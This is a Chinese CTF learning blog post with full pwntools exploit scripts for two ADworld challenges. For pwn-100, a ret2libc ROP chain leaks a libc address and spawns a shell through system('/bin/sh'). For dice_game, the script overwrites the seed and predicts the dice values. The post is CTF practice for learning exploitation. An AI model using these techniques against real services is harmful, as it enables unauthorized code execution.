PWN学习-ADworld刷题

前言

搁置了一段时间没更博,经历了考试还有一些其他事,决心好好去学pwn。学习的方法打算是按照看视频课加刷题加查找资料来学习。
PWN学习-ADworld刷题_第1张图片
先把新手题都刷了一遍,都是很入门的题目,没啥好提的,收获也少。然后去刷进阶的题,但是目前还没有遇到堆的题目,视频课已经快学完了,学习资料是看的B站上的这个,觉得讲的很好,YOTUBE上也有
PWN学习-ADworld刷题_第2张图片
讲一下刷进阶题时个人遇到的一些坑…或者是学到的东西

分析

pwn-100

检查保护,发现Stack保护没开,很容易想到栈溢出相关的东西。
PWN学习-ADworld刷题_第3张图片

在这个函数,会执行200次read,每次读一个,会造成栈溢出,所以思路就是构造ROP

  1. POP_RDI + libc__start_main + got + puts + main 第一条链泄露出lib_start_main
  2. SYSTEM + BIN_SH
    根据泄露出的地址计算出SYSTEM与BIN_SH
    PWN学习-ADworld刷题_第4张图片
    payload也很好写,重点是返回的函数地址有坑点。
    在这里插入图片描述
    我这里查看Libc_main_got 0x40 00这里有一个00 被puts给截断了,导致返回地址会不正确。在调试的时候如果不注意会很痛苦,也许跟我是新手有关吧!之前遇到的都是0x7f开头的,所以没有分辨出来。

payload

from pwn import *
from LibcSearcher import LibcSearcher
filename = 'pwn100'
elf = ELF('./'+filename)
context.binary = filename
context.log_level = 'debug'
p = remote('111.198.29.45','46807')
#p = remote('localhost','4000')
#p = process('./pwn100')
#------------------------------initialize-------------------------------------------------- 
main_got = elf.got['__libc_start_main']
rdi_ret = 0x0000000000400763
puts = elf.symbols['puts']

for i in range(72):
	p.send('a')
#gdb.attach(p,'b *0x4006b7')
#pop_rdinc 
for i in range(8):
	p.send((p64(rdi_ret)[i]))
#rdi = main_got
for i in range(8):
	p.send((p64(main_got)[i]))
#puts 0x400500
for i in range(8):
	p.send((p64(puts)[i]))

#main 00000000004006B8
for i in range(8):
	p.send((p64(0x4006B8)[i]))

for i in range(200-4*8-72):
	p.send('b')
p.recvuntil('bye~\n')

main_real = u64(p.recv()[0:6].ljust(8,'\x00'))
#main_real = u64(p.recv(3).ljust(8,'\x00'))
log.info('get main real address '+hex(main_real))

libc = LibcSearcher('__libc_start_main',main_real)
libc_base = main_real - libc.dump('__libc_start_main')
log.info("libc_base============"+hex(libc_base))
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
log.info("binsh============"+hex(bin_sh))
log.info("system========="+hex(system))
for i in range(72):
	p.send('a')
#gdb.attach(p,'b *0x4006b7')
#pop_rdi
for i in range(8):
	p.send((p64(rdi_ret)[i]))

#rdi = bin_sh
for i in range(8):
	p.send((p64(bin_sh)[i]))
#system
for i in range(8):
	p.send((p64(system)[i]))

for i in range(200):
	p.send('b')

#0x0000000000400763

p.interactive()

dice_game

这题也很简单,但是学到了一个东西。cdll.LoadLibrary
可以利用它来调用dll或者libc里的函数。
这题的思路就是 通过溢出来修改种子,可以预知所有的未知数。

payload

from pwn import *
from ctypes import *

p = remote('111.198.29.45',47025)
#libc = cdll.LoadLibrary("libc.so.6")
libc = cdll.LoadLibrary('libc.so.6')

p.sendline('a'*0x40+p64(0))

res = []
def dice_game():
    for i in range(50):
        rand = libc.rand()
        res.append(rand % 6 + 1)
    print res
dice_game()
for i in res:
	p.recvuntil('(1~6):')
	p.sendline(str(i))

p.interactive()

你可能感兴趣的:(学习记录,PWN)